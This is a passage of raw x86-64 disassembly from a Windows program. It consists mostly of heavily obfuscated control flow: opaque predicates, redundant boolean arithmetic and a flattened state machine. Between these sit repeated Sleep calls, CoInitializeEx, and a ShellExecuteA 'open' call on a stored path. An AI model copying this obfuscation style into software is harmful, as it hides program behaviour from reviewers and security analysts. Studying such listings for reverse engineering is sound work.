and dl, cl
xor al, cl
or dl, al
mov eax, 0x86e5c1ce
mov ecx, 0x68a35c87
test dl, 1
cmovne eax, ecx
mov dword [rbp - 0x68], eax
jmp 0x140029605
mov dword [rbp - 0x68], 0x2e1cdbf9
jmp 0x140029605
mov eax, dword [0x14030b4e8]
mov ecx, dword [0x14030b4ec]
mov edx, eax
sub edx, 0xdb970a25
add edx, 0xac0d4957
add edx, 0xdb970a25
xor r8d, r8d
sub r8d, 1
add edx, r8d
sub edx, 0xfd13a176
sub edx, 0xac0d4957
add edx, 0xfd13a176
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov sil, al
xor sil, 0xff
and sil, 1
mov r8b, 1
xor r8b, 1
mov dl, al
and dl, r8b
or sil, dl
mov r10b, cl
xor r10b, 0xff
and r10b, 1
mov r8b, 1
xor r8b, 1
mov dl, cl
and dl, r8b
or r10b, dl
mov bl, 1
xor bl, 0
and bl, 1
mov r8b, 1
xor r8b, 1
mov r9b, r8b
and r9b, 0
mov dl, 1
xor dl, 1
and dl, 0xff
and r8b, 1
or bl, r9b
or dl, r8b
xor bl, dl
mov r15b, sil
xor r15b, 0xff
mov r8b, 1
xor r8b, 0
mov dl, 1
xor dl, 0
or r15b, r8b
or dl, 0
xor r15b, 0xff
and r15b, dl
mov dl, bl
xor dl, 0xff
mov r14b, al
xor r14b, dl
and r14b, al
mov dl, 1
xor dl, 0
mov al, r10b
xor al, dl
and al, r10b
mov dl, bl
xor dl, 0xff
mov r8b, cl
xor r8b, dl
and r8b, cl
mov cl, r15b
xor cl, 0xff
mov r11b, r14b
xor r11b, 0xff
mov r9b, 1
xor r9b, 1
mov dl, cl
and dl, 0xff
and r15b, r9b
mov dil, r11b
and dil, 0xff
and r14b, r9b
or dl, r15b
or dil, r14b
xor dl, dil
or cl, r11b
xor cl, 0xff
or r9b, 1
and cl, r9b
or dl, cl
mov cl, al
and cl, r8b
xor al, r8b
or cl, al
mov r11b, dl
xor r11b, 0xff
and r11b, 0
mov r8b, 1
xor r8b, 0
and dl, r8b
mov al, cl
xor al, 0xff
and al, 0
and cl, r8b
or r11b, dl
or al, cl
xor r11b, al
mov al, sil
xor al, 0xff
mov r8b, r10b
xor r8b, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and sil, cl
mov r9b, r8b
and r9b, 0
and r10b, cl
or dl, sil
or r9b, r10b
xor dl, r9b
or al, r8b
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov r10b, dl
xor r10b, 0xff
and r10b, 0
mov cl, 1
xor cl, 0
and dl, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or r10b, dl
or al, cl
xor r10b, al
mov al, 1
xor al, 0
mov r8b, bl
xor r8b, 0xff
mov dl, 1
xor dl, 1
mov cl, al
and cl, 0xff
mov sil, dl
and sil, 0
mov r9b, r8b
and r9b, 0xff
and bl, dl
or cl, sil
or r9b, bl
xor cl, r9b
or al, r8b
xor al, 0xff
or dl, 1
and al, dl
or cl, al
xor r10b, 0xff
xor cl, 0xff
mov al, 1
xor al, 1
or r10b, cl
or al, 1
xor r10b, 0xff
and r10b, al
mov al, r11b
xor al, 0xff
mov r8b, r10b
xor r8b, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and r11b, cl
mov r9b, r8b
and r9b, 0xff
and r10b, cl
or dl, r11b
or r9b, r10b
xor dl, r9b
or al, r8b
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xeecce0cf
mov ecx, 0x958e826c
test dl, 1
cmovne eax, ecx
mov dword [rbp - 0x68], eax
jmp 0x140029605
mov ecx, 0xc8
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_Sleep]
add rsp, 0x20
mov r8, qword [rbp - 0x50]
mov rcx, qword [rbp - 0x40]
sub rsp, 0x20
lea rdx, [0x1403014c4]
call fcn.1400238a0
add rsp, 0x20
mov ecx, 0xc8
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_Sleep]
add rsp, 0x20
mov r8, qword [rbp - 0x50]
mov rcx, qword [rbp - 0x38]
sub rsp, 0x20
lea rdx, [0x140301516]
call fcn.1400238a0
add rsp, 0x20
mov ecx, 0xc8
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x140301701]
call fcn.140022b20
add rsp, 0x20
mov ecx, 0xc8
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_Sleep]
add rsp, 0x20
mov rcx, qword [rbp - 0x48]
lea rdx, [0x140301423]
sub rsp, 0x20
call fcn.140029610
add rsp, 0x20
mov ecx, 0xc8
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_Sleep]
add rsp, 0x20
mov rcx, qword [rbp - 0x40]
lea rdx, [0x14030128d]
sub rsp, 0x20
call fcn.140029610
add rsp, 0x20
mov ecx, 0xc8
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_Sleep]
add rsp, 0x20
mov ecx, dword [0x14030b4e8]
mov eax, dword [0x14030b4ec]
xor r8d, r8d
sub r8d, 0xf4381d11
mov edx, ecx
add edx, r8d
sub edx, 0x58f9bda3
sub edx, 1
add edx, 0x58f9bda3
xor r8d, r8d
sub r8d, 0xf4381d11
sub edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r8b
cmp eax, 0xa
setl al
mov dl, r8b
xor dl, 0xff
and dl, 1
mov r9b, 1
xor r9b, 1
mov cl, r8b
and cl, r9b
or dl, cl
mov r9b, al
xor r9b, 0xff
and r9b, 1
mov r10b, 1
xor r10b, 1
mov cl, al
and cl, r10b
or r9b, cl
mov cl, 1
xor cl, 0
and cl, 1
mov r11b, 1
xor r11b, 1
mov bl, r11b
and bl, 0
mov r10b, 1
xor r10b, 1
and r10b, 0xff
and r11b, 1
or cl, bl
or r10b, r11b
xor cl, r10b
mov r10b, 1
xor r10b, 0
mov r15b, dl
xor r15b, r10b
and r15b, dl
mov r10b, cl
xor r10b, 0xff
mov sil, r8b
xor sil, r10b
and sil, r8b
mov r14b, r9b
xor r14b, 0xff
mov r10b, 1
xor r10b, 0
mov r8b, 1
xor r8b, 0
or r14b, r10b
or r8b, 0
xor r14b, 0xff
and r14b, r8b
mov r8b, cl
xor r8b, 0xff
mov dil, al
xor dil, r8b
and dil, al
mov al, r15b
xor al, 0xff
mov r11b, sil
xor r11b, 0xff
mov r10b, 1
xor r10b, 1
mov r8b, al
and r8b, 0xff
and r15b, r10b
mov bl, r11b
and bl, 0xff
and sil, r10b
or r8b, r15b
or bl, sil
xor r8b, bl
or al, r11b
xor al, 0xff
or r10b, 1
and al, r10b
or r8b, al
mov al, r14b
xor al, 0xff
mov bl, dil
xor bl, 0xff
mov r11b, 1
xor r11b, 1
mov r10b, al
and r10b, 0xff
and r14b, r11b
mov sil, bl
and sil, 0xff
and dil, r11b
or r10b, r14b
or sil, dil
xor r10b, sil
or al, bl
xor al, 0xff
or r11b, 1
and al, r11b
or r10b, al
mov r11b, r8b
xor r11b, 0xff
mov al, r10b
and al, r11b
xor r10b, 0xff
and r8b, r10b
or al, r8b
mov r8b, dl
and r8b, r9b
xor dl, r9b
or r8b, dl
mov dl, r8b
xor dl, 0xff
and dl, 1
mov r9b, 1
xor r9b, 1
and r8b, r9b
or dl, r8b
mov r8b, cl
and r8b, 0
xor cl, 0
or r8b, cl
xor r8b, 0xff
mov cl, dl
xor cl, r8b
and cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xeecce0cf
mov ecx, 0x680ce0db
test dl, 1
cmovne eax, ecx
mov dword [rbp - 0x68], eax
jmp 0x140029605
mov dword [rbp - 0x68], 0xc17e5b91
jmp 0x140029605
mov rcx, qword [rbp - 0x38]
lea rdx, [0x140301380]
sub rsp, 0x20
call fcn.140029610
add rsp, 0x20
mov ecx, 0xc8
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x14030171d]
call fcn.140022b20
add rsp, 0x20
mov rcx, qword [rbp - 0x58]
sub rsp, 0x20
call fcn.140017400
add rsp, 0x20
xor eax, eax
mov ecx, eax
mov edx, 6
sub rsp, 0x20
call qword [sym.imp.ole32.dll_CoInitializeEx]
add rsp, 0x20
mov ecx, 0x12c
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_Sleep]
add rsp, 0x20
mov r8, qword [rbp - 0x58]
xor eax, eax
mov r9d, eax
lea rdx, str.open
sub rsp, 0x30
mov rcx, r9
mov qword [rsp + 0x20], 0
mov dword [rsp + 0x28], 1
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
add rsp, 0x30
mov ecx, 0x12c
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_Sleep]
add rsp, 0x20
mov rax, qword [rbp - 0x60]
mov dword [rax], 1
mov dword [rbp - 0x68], 0xaaa859f1
jmp 0x140029605
mov ecx, dword [0x14030b4e8]
mov eax, dword [0x14030b4ec]
xor edx, edx
sub edx, 0xb80131aa
sub edx, 1
add edx, 0xb80131aa
xor r8d, r8d
sub r8d, edx
mov edx, ecx
sub edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r8b
cmp eax, 0xa
setl al
mov sil, r8b
xor sil, 0xff
and sil, 1
mov dl, 1
xor dl, 1
mov cl, r8b
and cl, dl
or sil, cl
mov r10b, al
xor r10b, 0xff
and r10b, 0
mov dl, 1
xor dl, 0
mov r9b, al
and r9b, dl
mov cl, 1
xor cl, 1
and cl, 0
and dl, 1
or r10b, r9b
or cl, dl
xor r10b, cl
mov bl, 1
xor bl, 0
and bl, 1
mov cl, 1
xor cl, 1
and cl, 0
or bl, cl
mov dl, 1
xor dl, 0
mov cl, sil
xor cl, dl
and cl, sil
mov r9b, bl
xor r9b, 0xff
mov dl, r8b
xor dl, r9b
and dl, r8b
mov r8b, 1
xor r8b, 0
mov r14b, r10b
xor r14b, r8b
and r14b, r10b
mov r8b, bl
xor r8b, 0xff
mov dil, al
xor dil, r8b
and dil, al
mov al, cl
and al, dl
xor cl, dl
or al, cl
mov dl, r14b
xor dl, 0xff
mov r9b, dil
xor r9b, 0xff
mov r8b, 1
xor r8b, 1
mov cl, dl
and cl, 0xff
and r14b, r8b
mov r11b, r9b
and r11b, 0xff
and dil, r8b
or cl, r14b
or r11b, dil
xor cl, r11b
or dl, r9b
xor dl, 0xff
or r8b, 1
and dl, r8b
or cl, dl
mov dl, al
xor dl, 0xff
mov r11b, cl
and r11b, dl
xor cl, 0xff
and al, cl
or r11b, al
mov al, sil
xor al, 0xff
mov r8b, r10b
xor r8b, 0xff
mov dl, 1
xor dl, 1
mov cl, al
and cl, 0xff
and sil, dl
mov r9b, r8b
and r9b, 0xff
and r10b, dl
or cl, sil
or r9b, r10b
xor cl, r9b
or al, r8b
xor al, 0xff
or dl, 1
and al, dl
or cl, al
mov al, cl
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
and cl, dl
or al, cl
mov dl, 1
xor dl, 0
mov r9b, bl
xor r9b, 0xff
mov r8b, 1
xor r8b, 1
mov cl, dl
and cl, 0xff
mov sil, r8b
and sil, 0
mov r10b, r9b
and r10b, 0xff
and bl, r8b
or cl, sil
or r10b, bl
xor cl, r10b
or dl, r9b
xor dl, 0xff
or r8b, 1
and dl, r8b
or cl, dl
xor cl, 0xff
mov r10b, al
xor r10b, cl
and r10b, al
mov al, r11b
xor al, 0xff
mov r8b, r10b
xor r8b, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and r11b, cl
mov r9b, r8b
and r9b, 0
and r10b, cl
or dl, r11b
or r9b, r10b
xor dl, r9b
or al, r8b
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xd0028a82
mov ecx, 0x8ea7e3d6
test dl, 1
cmovne eax, ecx
mov dword [rbp - 0x68], eax
jmp 0x140029605
mov rax, qword [rbp - 0x58]
mov qword [rbp - 0x10], rax
mov ecx, dword [0x14030b4e8]
mov eax, dword [0x14030b4ec]
xor r8d, r8d
sub r8d, 0xed5868fa
mov edx, ecx
sub edx, r8d
sub edx, 0x8bd13304
sub edx, 1
add edx, 0x8bd13304
xor r8d, r8d
sub r8d, 0xed5868fa
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete dl
cmp eax, 0xa
setl dil
mov sil, dl
xor sil, 0xff
and sil, 1
mov cl, 1
xor cl, 1
mov r8b, dl
and r8b, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or sil, r8b
or al, cl
xor sil, al
mov bl, dil
xor bl, 0xff
and bl, 0
mov cl, 1
xor cl, 0
mov r8b, dil
and r8b, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or bl, r8b
or al, cl
xor bl, al
mov cl, 1
xor cl, 1
and cl, 0
mov r8b, 1
xor r8b, 0
mov r9b, r8b
and r9b, 1
mov al, 1
xor al, 1
and al, 0
and r8b, 1
or cl, r9b
or al, r8b
xor cl, al
mov r8b, 1
xor r8b, 1
mov al, sil
xor al, r8b
and al, sil
xor dl, 0xff
mov r9b, cl
xor r9b, 0xff
mov r8b, 1
xor r8b, 1
or dl, r9b
or r8b, 1
xor dl, 0xff
and dl, r8b
mov r8b, 1
xor r8b, 1
mov r14b, bl
xor r14b, r8b
and r14b, bl
xor dil, 0xff
mov r9b, cl
xor r9b, 0xff
mov r8b, 1
xor r8b, 0
or dil, r9b
or r8b, 0
xor dil, 0xff
and dil, r8b
mov r9b, al
and r9b, dl
xor al, dl
or r9b, al
mov al, r14b
xor al, 0xff
mov r10b, dil
xor r10b, 0xff
mov dl, 1
xor dl, 0
mov r8b, al
and r8b, 0
and r14b, dl
mov r11b, r10b
and r11b, 0
and dil, dl
or r8b, r14b
or r11b, dil
xor r8b, r11b
or al, r10b
xor al, 0xff
or dl, 0
and al, dl
or r8b, al
mov al, r9b
xor al, 0xff
and al, 1
mov r10b, 1
xor r10b, 1
and r9b, r10b
mov dl, r8b
xor dl, 0xff
and dl, 0xff
and r8b, r10b
or al, r9b
or dl, r8b
xor al, dl
mov dl, sil
xor dl, 0xff
mov r10b, bl
xor r10b, 0xff
mov r9b, 1
xor r9b, 0
mov r8b, dl
and r8b, 0
and sil, r9b
mov r11b, r10b
and r11b, 0
and bl, r9b
or r8b, sil
or r11b, bl
xor r8b, r11b
or dl, r10b
xor dl, 0xff
or r9b, 0
and dl, r9b
or r8b, dl
mov dl, r8b
xor dl, 0xff
and dl, 1
mov r9b, 1
xor r9b, 1
and r8b, r9b
or dl, r8b
mov r8b, cl
and r8b, 1
xor cl, 1
or r8b, cl
xor r8b, 0xff
mov cl, dl
xor cl, r8b
and cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd0028a82
mov ecx, 0xba01d98b
test dl, 1
cmovne eax, ecx
mov dword [rbp - 0x68], eax
jmp 0x140029605
mov dword [rbp - 0x68], 0x9ddb26da
jmp 0x140029605
mov rdx, qword [rbp - 0x10]
sub rsp, 0x20
lea rcx, [0x1403016ee]
call fcn.140022b20
add rsp, 0x20
mov dword [rbp - 0x68], 0x653c5103
jmp 0x140029605
mov dword [rbp - 0x68], 0xaaa859f1
jmp 0x140029605
mov ecx, dword [0x14030b4e8]
mov eax, dword [0x14030b4ec]
xor r8d, r8d
sub r8d, ecx
xor edx, edx
sub edx, 0x7c00a28e
add r8d, edx
xor edx, edx
sub edx, r8d
sub edx, 0x1936cb04
sub edx, 1
add edx, 0x1936cb04
sub edx, 0xb7d5d855
sub edx, 0x7c00a28e
add edx, 0xb7d5d855
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r14b
cmp eax, 0xa
setl dl
mov al, r14b
xor al, 0xff
and al, 1
mov r8b, 1
xor r8b, 1
mov cl, r14b
and cl, r8b
or al, cl
mov cl, dl
xor cl, 0xff
and cl, 1
mov r9b, 1
xor r9b, 1
mov r8b, dl
and r8b, r9b
or cl, r8b
mov bl, 1
xor bl, 0
and bl, 0
mov r9b, 1
xor r9b, 0
mov r10b, r9b
and r10b, 0
mov r8b, 1
xor r8b, 1
and r8b, 0
and r9b, 1
or bl, r10b
or r8b, r9b
xor bl, r8b
mov r8b, 1
xor r8b, 0
mov r15b, al
xor r15b, r8b
and r15b, al
xor r14b, 0xff
mov r9b, bl
xor r9b, 0xff
mov r8b, 1
xor r8b, 1
or r14b, r9b
or r8b, 1
xor r14b, 0xff
and r14b, r8b
mov r9b, cl
xor r9b, 0xff
mov r10b, 1
xor r10b, 0
mov r8b, 1
xor r8b, 1
or r9b, r10b
or r8b, 1
xor r9b, 0xff
and r9b, r8b
mov r8b, bl
xor r8b, 0xff
mov r10b, dl
xor r10b, r8b
and r10b, dl
mov r8b, r15b
xor r8b, 0xff
mov sil, r14b
xor sil, 0xff
mov r11b, 1
xor r11b, 1
mov dl, r8b
and dl, 0xff
and r15b, r11b
mov dil, sil
and dil, 0xff
and r14b, r11b
or dl, r15b
or dil, r14b
xor dl, dil
or r8b, sil
xor r8b, 0xff
or r11b, 1
and r8b, r11b
or dl, r8b
mov r8b, r9b
and r8b, r10b
xor r9b, r10b
or r8b, r9b
mov r9b, dl
xor r9b, 0xff
mov r11b, r8b
and r11b, r9b
xor r8b, 0xff
and dl, r8b
or r11b, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov r10b, dl
xor r10b, 0xff
and r10b, 0
mov cl, 1
xor cl, 0
and dl, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or r10b, dl
or al, cl
xor r10b, al
mov al, 1
xor al, 0
mov r8b, bl
xor r8b, 0xff
mov dl, 1
xor dl, 1
mov cl, al
and cl, 0xff
mov sil, dl
and sil, 0
mov r9b, r8b
and r9b, 0xff
and bl, dl
or cl, sil
or r9b, bl
xor cl, r9b
or al, r8b
xor al, 0xff
or dl, 1
and al, dl
or cl, al
xor r10b, 0xff
xor cl, 0xff
mov al, 1
xor al, 0
or r10b, cl
or al, 0
xor r10b, 0xff
and r10b, al
mov al, r11b
xor al, 0xff
mov r8b, r10b
xor r8b, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and r11b, cl
mov r9b, r8b
and r9b, 0xff
and r10b, cl
or dl, r11b
or r9b, r10b
xor dl, r9b
or al, r8b
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x52a3edb5
mov ecx, 0x4799d7ef
test dl, 1
cmovne eax, ecx
mov dword [rbp - 0x68], eax
jmp 0x140029605
mov eax, dword [0x14030b4e8]
mov ecx, dword [0x14030b4ec]
mov r9d, 0x4270840b
add r9d, 0
sub r9d, 1
sub r9d, 0x4270840b
xor r8d, r8d
sub r8d, eax
xor edx, edx
sub edx, r9d
add r8d, edx
xor edx, edx
sub edx, r8d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl r9b
mov sil, al
xor sil, 0xff
and sil, 1
mov dl, 1
xor dl, 1
mov cl, al
and cl, dl
or sil, cl
mov bl, r9b
xor bl, 0xff
and bl, 1
mov dl, 1
xor dl, 1
mov r8b, r9b
and r8b, dl
mov cl, 1
xor cl, 1
and cl, 0xff
and dl, 1
or bl, r8b
or cl, dl
xor bl, cl
mov dl, 1
xor dl, 1
and dl, 0
mov r8b, 1
xor r8b, 0
mov r10b, r8b
and r10b, 1
mov cl, 1
xor cl, 1
and cl, 0
and r8b, 1
or dl, r10b
or cl, r8b
xor dl, cl
mov r15b, sil
xor r15b, 0xff
mov r8b, 1
xor r8b, 1
mov cl, 1
xor cl, 0
or r15b, r8b
or cl, 0
xor r15b, 0xff
and r15b, cl
mov cl, dl
xor cl, 0xff
mov r14b, al
xor r14b, cl
and r14b, al
mov r8b, bl
xor r8b, 0xff
mov cl, 1
xor cl, 1
mov al, 1
xor al, 1
or r8b, cl
or al, 1
xor r8b, 0xff
and r8b, al
xor r9b, 0xff
mov cl, dl
xor cl, 0xff
mov al, 1
xor al, 1
or r9b, cl
or al, 1
xor r9b, 0xff
and r9b, al
mov cl, r15b
xor cl, 0xff
mov r11b, r14b
xor r11b, 0xff
mov r10b, 1
xor r10b, 0
mov al, cl
and al, 0
and r15b, r10b
mov dil, r11b
and dil, 0
and r14b, r10b
or al, r15b
or dil, r14b
xor al, dil
or cl, r11b
xor cl, 0xff
or r10b, 0
and cl, r10b
or al, cl
mov cl, r8b
and cl, r9b
xor r8b, r9b
or cl, r8b
mov r8b, al
xor r8b, 0xff
mov r11b, cl
and r11b, r8b
xor cl, 0xff
and al, cl
or r11b, al
mov al, sil
xor al, 0xff
mov r8b, bl
xor r8b, 0xff
mov cl, 1
xor cl, 0
mov r9b, al
and r9b, 0
and sil, cl
mov r10b, r8b
and r10b, 0
and bl, cl
or r9b, sil
or r10b, bl
xor r9b, r10b
or al, r8b
xor al, 0xff
or cl, 0
and al, cl
or r9b, al
mov al, r9b
xor al, 0xff
and al, 1
mov r8b, 1
xor r8b, 1
and r9b, r8b
mov cl, 1
xor cl, 1
and cl, 0xff
and r8b, 1
or al, r9b
or cl, r8b
xor al, cl
mov cl, dl
and cl, 1
xor dl, 1
or cl, dl
xor cl, 0xff
mov r10b, al
xor r10b, cl
and r10b, al
mov al, r11b
xor al, 0xff
mov r8b, r10b
xor r8b, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and r11b, cl
mov r9b, r8b
and r9b, 0
and r10b, cl
or dl, r11b
or r9b, r10b
xor dl, r9b
or al, r8b
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xa734684a
mov ecx, 0x49ea419e
test dl, 1
cmovne eax, ecx
mov dword [rbp - 0x68], eax
jmp 0x140029605
mov rax, qword [rbp - 0x60]
mov eax, dword [rax]
mov dword [rbp - 4], eax
mov ecx, dword [0x14030b4e8]
mov eax, dword [0x14030b4ec]
xor r8d, r8d
sub r8d, 0x60a93ff4
mov edx, ecx
sub edx, r8d
add edx, 0xa7f2dc0c
sub edx, 1
sub edx, 0xa7f2dc0c
add edx, 0x47b6ef16
sub edx, 0x60a93ff4
sub edx, 0x47b6ef16
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r9b
cmp eax, 0xa
setl r8b
mov cl, r8b
xor cl, 0xff
mov al, r9b
xor al, cl
and al, r9b
mov cl, r9b
xor cl, 0xff
and cl, 1
mov r10b, 1
xor r10b, 1
and r9b, r10b
mov dl, r8b
xor dl, 0xff
and dl, 0xff
and r8b, r10b
or cl, r9b
or dl, r8b
xor cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa734684a
mov ecx, 0x566fd257
test dl, 1
cmovne eax, ecx
mov dword [rbp - 0x68], eax
jmp 0x140029605
mov ecx, dword [0x14030b4e8]
mov eax, dword [0x14030b4ec]
mov edx, ecx
add edx, 0x73045fc3
sub edx, 0x4f48abf8
sub edx, 0x73045fc3
sub edx, 0xb2700bd1
sub edx, 1
add edx, 0xb2700bd1
xor r8d, r8d
sub r8d, edx
xor edx, edx
sub edx, 0x4f48abf8
add r8d, edx
xor edx, edx
sub edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete dl
cmp eax, 0xa
setl r8b
mov al, dl
xor al, 0xff
mov r9b, r8b
xor r9b, 0xff
mov cl, 1
xor cl, 0
or al, r9b
or cl, 0
xor al, 0xff
and al, cl
mov r9b, dl
xor r9b, 0xff
mov cl, r8b
and cl, r9b
xor r8b, 0xff
and dl, r8b
or cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x52a3edb5
mov ecx, 0x1f0853
test dl, 1
cmovne eax, ecx
mov dword [rbp - 0x68], eax
jmp 0x140029605
mov ecx, dword [0x14030b4e8]
mov eax, dword [0x14030b4ec]
mov edx, ecx
add edx, 0xdc3ab2c
sub edx, 0x416b4481
sub edx, 0xdc3ab2c
add edx, 0x2340ecde
sub edx, 1
sub edx, 0x2340ecde
xor r8d, r8d
sub r8d, edx
xor edx, edx
sub edx, 0x416b4481
add r8d, edx
xor edx, edx
sub edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r14b
cmp eax, 0xa
setl r11b
mov cl, r14b
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
mov r8b, r14b
and r8b, dl
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or cl, r8b
or al, dl
xor cl, al
mov r8b, r11b
xor r8b, 0xff
and r8b, 1
mov dl, 1
xor dl, 1
mov al, r11b
and al, dl
or r8b, al
mov dl, 1
xor dl, 1
and dl, 1
mov r9b, 1
xor r9b, 1
mov r10b, r9b
and r10b, 1
mov al, 1
xor al, 1
and al, 0xff
and r9b, 1
or dl, r10b
or al, r9b
xor dl, al
mov r15b, cl
xor r15b, 0xff
mov r9b, 1
xor r9b, 1
mov al, 1
xor al, 1
or r15b, r9b
or al, 1
xor r15b, 0xff
and r15b, al
xor r14b, 0xff
mov r9b, dl
xor r9b, 0xff
mov al, 1
xor al, 0
or r14b, r9b
or al, 0
xor r14b, 0xff
and r14b, al
mov al, r8b
xor al, 0xff
mov r10b, 1
xor r10b, 1
mov r9b, 1
xor r9b, 0
or al, r10b
or r9b, 0
xor al, 0xff
and al, r9b
xor r11b, 0xff
mov r10b, dl
xor r10b, 0xff
mov r9b, 1
xor r9b, 0
or r11b, r10b
or r9b, 0
xor r11b, 0xff
and r11b, r9b
mov r10b, r15b
xor r10b, 0xff
mov sil, r14b
xor sil, 0xff
mov bl, 1
xor bl, 0
mov r9b, r10b
and r9b, 0
and r15b, bl
mov dil, sil
and dil, 0
and r14b, bl
or r9b, r15b
or dil, r14b
xor r9b, dil
or r10b, sil
xor r10b, 0xff
or bl, 0
and r10b, bl
or r9b, r10b
mov r10b, al
and r10b, r11b
xor al, r11b
or r10b, al
mov r11b, r9b
xor r11b, 0xff
mov al, r10b
and al, r11b
xor r10b, 0xff
and r9b, r10b
or al, r9b
mov r10b, cl
and r10b, r8b
xor cl, r8b
or r10b, cl
mov cl, r10b
xor cl, 0xff
and cl, 0
mov r9b, 1
xor r9b, 0
and r10b, r9b
mov r8b, 1
xor r8b, 1
and r8b, 0
and r9b, 1
or cl, r10b
or r8b, r9b
xor cl, r8b
mov r8b, dl
and r8b, 1
xor dl, 1
or r8b, dl
xor cl, 0xff
xor r8b, 0xff
mov dl, 1
xor dl, 1
or cl, r8b
or dl, 1
xor cl, 0xff
and cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x72c4a54a
mov ecx, 0xf43a5cab
test dl, 1
cmovne eax, ecx
mov dword [rbp - 0x68], eax
jmp 0x140029605
mov ecx, dword [0x14030b4e8]
mov eax, dword [0x14030b4ec]
mov edx, ecx
add edx, 0x9d4c7b2f
sub edx, 0x6e2b5d3
sub edx, 0x9d4c7b2f
sub edx, 0x23ced294
sub edx, 1
add edx, 0x23ced294
add edx, 0xd5c8bb82
add edx, 0x6e2b5d3
sub edx, 0xd5c8bb82
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r10b
cmp eax, 0xa
setl r8b
mov dl, r10b
xor dl, 0xff
and dl, 0
mov cl, 1
xor cl, 0
mov r9b, r10b
and r9b, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or dl, r9b
or al, cl
xor dl, al
mov r9b, r8b
xor r9b, 0xff
and r9b, 1
mov cl, 1
xor cl, 1
mov r11b, r8b
and r11b, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or r9b, r11b
or al, cl
xor r9b, al
mov cl, 1
xor cl, 1
and cl, 1
mov r11b, 1
xor r11b, 1
mov bl, r11b
and bl, 1
mov al, 1
xor al, 1
and al, 0xff
and r11b, 1
or cl, bl
or al, r11b
xor cl, al
mov al, dl
xor al, 0xff
mov bl, 1
xor bl, 1
mov r11b, 1
xor r11b, 0
or al, bl
or r11b, 0
xor al, 0xff
and al, r11b
xor r10b, 0xff
mov bl, cl
xor bl, 0xff
mov r11b, 1
xor r11b, 0
or r10b, bl
or r11b, 0
xor r10b, 0xff
and r10b, r11b
mov r14b, r9b
xor r14b, 0xff
mov bl, 1
xor bl, 1
mov r11b, 1
xor r11b, 1
or r14b, bl
or r11b, 1
xor r14b, 0xff
and r14b, r11b
mov r11b, cl
xor r11b, 0xff
mov dil, r8b
xor dil, r11b
and dil, r8b
mov r8b, al
and r8b, r10b
xor al, r10b
or r8b, al
mov al, r14b
xor al, 0xff
mov bl, dil
xor bl, 0xff
mov r11b, 1
xor r11b, 1
mov r10b, al
and r10b, 0xff
and r14b, r11b
mov sil, bl
and sil, 0xff
and dil, r11b
or r10b, r14b
or sil, dil
xor r10b, sil
or al, bl
xor al, 0xff
or r11b, 1
and al, r11b
or r10b, al
mov r11b, r8b
xor r11b, 0xff
mov al, r10b
and al, r11b
xor r10b, 0xff
and r8b, r10b
or al, r8b
mov r8b, dl
and r8b, r9b
xor dl, r9b
or r8b, dl
mov dl, r8b
xor dl, 0xff
and dl, 1
mov r9b, 1
xor r9b, 1
and r8b, r9b
or dl, r8b
mov r8b, cl
and r8b, 1
xor cl, 1
or r8b, cl
xor r8b, 0xff
mov cl, dl
xor cl, r8b
and cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x72c4a54a
mov ecx, 0x2f53a2cc
test dl, 1
cmovne eax, ecx
mov dword [rbp - 0x68], eax
jmp 0x140029605
mov dword [rbp - 0x68], 0xe09193ed
jmp 0x140029605
mov ecx, dword [0x14030b4e8]
mov eax, dword [0x14030b4ec]
xor r8d, r8d
sub r8d, 0xdc7e5702
mov edx, ecx
add edx, r8d
sub edx, 0x8e88aa89
sub edx, 1
add edx, 0x8e88aa89
xor r8d, r8d
sub r8d, 0xdc7e5702
sub edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete sil
cmp eax, 0xa
setl dl
